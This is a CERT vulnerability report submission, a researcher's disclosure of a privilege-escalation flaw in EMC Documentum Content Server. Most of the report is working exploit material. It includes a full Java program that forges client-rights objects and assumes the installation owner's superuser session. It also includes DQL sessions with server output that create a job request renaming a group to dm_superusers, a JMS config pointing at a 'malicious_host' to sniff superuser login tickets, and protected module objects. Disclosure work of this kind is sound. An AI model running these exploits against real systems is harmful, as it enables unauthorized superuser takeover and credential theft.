Vulnerability Report Confirmation - [VRF#HUGC34JH] Your vulnerability report has been successfully received. You may save or print this page for your own records. The Report Tracking ID assigned to this report is VRF#HUGC34JH. Details of your report are listed below. If you have any questions or require additional information, please call the CERT Hotline at +1 412-268-7090 or send email to cert@cert.org . Please reference this Report Tracking ID: VRF#HUGC34JH. Do not use the back button to submit another report. Click here instead. ------------------------------------------------------------------------ Vulnerability Report Name Andrey B. Panfilov Organization independent Email Address andrew@panfilov.tel Telephone Number Vulnerability Description EMC Documentum Content Server: any user is able to elevate privileges by creating "protected" objects using "change object" command. In the most cases non-privileged users are restricted to create objects of certain types, for example, if user is able to create dm_method object, he is able to gain superuser privileges through execution of corresponding docbase method, so Content Server puts additional checks for user’s privileges before creating objects of certain types: Session id is s0 API> create,c,dm_method ... 1001ffd780095581 API> save,c,l ... [DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error: "The current user (op1tp1) needs to have superuser or sysadmin privilege to save or destroy dm_method object." API> ?,c,create dm_method object set object_name='test' [DM_QUERY_F_UP_SAVE]fatal: "UPDATE: An error has occurred during a save operation." [DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error: "The current user (op1tp1) needs to have superuser or sysadmin privilege to save or destroy test dm_method object." The problem is user is able to "create" object of required type through execution of "change object" statement if both old and new types share the same type tag 1. dm_client_rights example: package com.documentum.fc.client.security.impl; import static java.lang.System.out; import com.documentum.fc.client.DfClient; import com.documentum.fc.client.DfQuery; import com.documentum.fc.client.IDfACL; import com.documentum.fc.client.IDfCollection; import com.documentum.fc.client.IDfQuery; import com.documentum.fc.client.IDfSession; import com.documentum.fc.client.IDfSessionManager; import com.documentum.fc.client.IDfSysObject; import com.documentum.fc.client.privilege.internal.IClientRegistration; import com.documentum.fc.client.privilege.internal.IClientRights; import com.documentum.fc.client.security.internal.IPublicIdentity; import com.documentum.fc.common.DfId; import com.documentum.fc.common.DfList; import com.documentum.fc.common.DfLoginInfo; import com.documentum.fc.common.IDfList; import com.documentum.fc.common.IDfLoginInfo; public class Test { public static void main(String argv[]) throws Exception { String docbase = argv[0]; String username = argv[1]; String password = argv[2]; String domain = null; if (argv.length == 4) { domain = argv[3]; } IDfSessionManager sessionManager = new DfClient().newSessionManager(); IDfLoginInfo loginInfo = new DfLoginInfo(username, password); if (domain != null) { loginInfo.setDomain(domain); } sessionManager.setIdentity(docbase, loginInfo); out.println("Connecting to docbase '" + docbase + "' as '" + username + "'"); IDfSession session = sessionManager.getSession(docbase); out.println("Connected"); IPublicIdentity publicIdentity = new PublicIdentity(); out.println("Checking dm_client_registration for dfc: " + publicIdentity.getIdentity()); IClientRegistration clientRegistration = IpAndRcHelper.getRegistration( publicIdentity, session); if (clientRegistration == null) { out.println("dm_client_registration for dfc '" + publicIdentity.getIdentity() + "' does not exist, creating..."); String publicKeyIdentifier = IpAndRcHelper .createNewCertificateObjectIfNeeded(publicIdentity, session); clientRegistration = (IClientRegistration) session .newObject("dm_client_registration"); RegAndItsAcl dbData = new RegAndItsAcl(); dbData.reg = clientRegistration; dbData.acl = (IDfACL) session.newObject("dm_acl"); dbData.acl = IpAndRcHelper .fillAndSaveACLForClientRegistration(dbData.acl); IpAndRcHelper.fillAndSaveClientRegistration(dbData.reg, publicIdentity, publicKeyIdentifier, dbData.acl); } else { out.println("dm_client_registration for dfc: " + publicIdentity.getIdentity() + " exists"); } out.println("Checking dm_client_rights for dfc: " + publicIdentity.getIdentity()); IClientRights clientRights = (IClientRights) session .getObjectByQualification("dm_client_rights where client_id='" + publicIdentity.getIdentity() + "'"); if (clientRights != null) { out.println("dm_client_rights object for dfc: " + publicIdentity.getIdentity() + " exists, exiting"); return; } out.println("dm_client_rights object for dfc: " + publicIdentity.getIdentity() + " does not exist, creating"); IDfSysObject tempObject = (IDfSysObject) session .newObject("dm_sysobject"); tempObject.save(); IDfQuery query = new DfQuery("CHANGE dm_sysobject OBJECT " + "TO dm_client_rights SET object_name='" + clientRegistration.getObjectName() + "', " + "SET client_id='" + publicIdentity.getIdentity() + "', " + "SET public_key_identifier='" + clientRegistration.getPublicKeyIdentifier() + "', " + "SET host_name='" + clientRegistration.getHostName() + "', SET allow_all_roles=TRUE, " + "SET allow_all_priv_modules=TRUE, " + "SET principal_auth_priv=TRUE, " + "SET server_trust_priv=TRUE WHERE r_object_id='" + tempObject.getObjectId().getId() + "'"); IDfCollection collection = query.execute(session, IDfQuery.EXEC_QUERY); boolean created = false; if (collection != null && collection.next()) { out.println("Object changed: " + collection.getInt("objects_changed")); if (collection.getInt("objects_changed") > 0) { created = true; } } if (collection != null) { collection.close(); } if (!created) { out.println("Unable to create dm_client_rights object"); return; } String installationOwner = session.getServerConfig().getString( "r_install_owner"); out.println("Reconnecting as " + installationOwner + " ..."); IDfList arguments = new DfList(new String[] {"CONNECT_POOLING", "ASSUME_USER", "CHECK_ONLY", "AUTHENTICATE_ONLY", "OS_LOGON_NAME", "LOGON_NAME", "TRUSTED_LOGIN_ALLOWED", }); IDfList types = new DfList(new String[] {"B", "B", "B", "B", "S", "S", "B", }); IDfList values = new DfList(new String[] {"F", "T", "F", "F", installationOwner, installationOwner, "T", }); collection = session.apply(DfId.DF_NULLID_STR, "AUTHENTICATE_USER", arguments, types, values); if (collection != null && collection.next()) { if (collection.getInt("RETURN_VALUE") != 1) { out.println("Unable to authenticate as " + installationOwner); return; } session.assume(new DfLoginInfo(installationOwner, session .getLoginTicketForUser(installationOwner))); out.println("Checking whether we are a superuser..."); IDfSysObject serverConfig = (IDfSysObject) session .getServerConfig(); out.println("Permissions for dm_server_config: " + serverConfig.getPermit()); } if (collection != null) { collection.close(); } } } 2. dm_job_request example (see also VRF#HUFV0UZN): 1> create dm_job_request OBJECT set object_name='GroupRename', 2> set job_name='dm_GroupRename1', 3> set method_name='dm_GroupRename', 4> set arguments_keys[0]='OldGroupName', 5> set arguments_values[0]='testjobrequest', 6> set arguments_keys[1]='NewGroupName', 7> set arguments_values[1]='dm_superusers', 8> set arguments_keys[2]='report_only', 9> set arguments_values[2]='F', 10> set arguments_keys[3]='unlock_locked_obj', 11> set arguments_values[3]='T' 12> go object_created ---------------- 08022428800058f6 (1 row affected) 1> update dm_job_request objects set job_name='dm_GroupRename' 2> where job_name='dm_GroupRename1' 3> go [DM_QUERY_F_UP_SAVE]fatal: "UPDATE: An error has occurred during a save operation." [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege." 1> create dm_sysobject object 2> set object_name='dm_GroupRename2' 3> go object_created ---------------- 08022428800058fd (1 row affected) 1> change dm_sysobject object to dm_job_request 2> set object_name='GroupRename', 3> set job_name='dm_GroupRename', 4> set method_name='dm_GroupRename', 5> set arguments_keys[0]='OldGroupName', 6> set arguments_values[0]='testjobrequest', 7> set arguments_keys[1]='NewGroupName', 8> set arguments_values[1]='dm_superusers', 9> set arguments_keys[2]='report_only', 10> set arguments_values[2]='F', 11> set arguments_keys[3]='unlock_locked_obj', 12> set arguments_values[3]='T' 13> where object_name='dm_GroupRename2' 14> go objects_changed --------------- 1 (1 row affected) [DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your CHANGE statement." 3. dm_jms_config example (dm_jms_config could be used to "sniff" superuser login tickets): Pre Documentum Content Server v6.7SP1P26 behavior: create dm_jms_config object set object_name='malicious JMS config', set config_type=2, append server_config_id=(select r_object_id from dm_server_config) append servlet_name='do_bpm', append base_uri='http://malicious_host:port/....', append supported_protocol='http', append projection_enable=TRUE, append projection_proximity_value=1, append projection_targets='malicious_host', append projection_ports=0 Documentum Content Server v6.7SP1P26 behavior: 1> create dm_jms_config object 2> set object_name='test jms config' 3> go [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege." 1> create dm_sysobject object 2> set object_name='test jms config' 3> go object_created ---------------- 08022428800056fa (1 row affected) 1> select r_object_id from dm_server_config 2> go r_object_id ---------------- 3d02242880000102 (1 row affected) 1> select r_object_id from dm_jms_config 2> go r_object_id ---------------- (0 rows affected) 1> change dm_sysobject object to dm_sysprocess_config 2> where object_name='test jms config' 3> go objects_changed --------------- 1 (1 row affected) [DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your CHANGE statement." 1> change dm_sysprocess_config object to dm_jms_config 2> append server_config_id='3d02242880000102' 3> where object_name='test jms config' 4> go objects_changed --------------- 1 (1 row affected) [DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your CHANGE statement." 4. dmc_module example (see also VRF#HUDHKNW4): 1> create dmc_module object 2> set object_name='test dmc module' 3> go [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (dm_bof_registry) needs to have superuser or sysadmin privilege." 1> create dm_folder object 2> set object_name='test dmc module' 3> go object_created ---------------- 0b0224288000578c (1 row affected) 1> change dm_folder object to dmc_module 2> where object_name='test dmc module' 3> go objects_changed --------------- 1 (1 row affected) [DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your CHANGE statement." Can we provide your name to the vendor? Yes Do you want to be publicly acknowledged? Yes Vendor Contact Status will not contact Vendor Name EMC Vendor Contact Name Vendor Contact Email Vendor Contact Telephone Number Vendor Tracking ID Additional Vendor Information Affected System Configurations All versions of EMC Documentum Content Server How was this vulnerability found? Is the vulnerability being exploited? Yes Is there a public exploit? Yes Vulnerability Impact Comments Attached File Date 2014-04-25T23:13:39 Report Tracking ID VRF#HUGC34JH CERT Tracking IDs VU#315340 ------------------------------------------------------------------------ Carnegie Mellon University ©2014 Carnegie Mellon University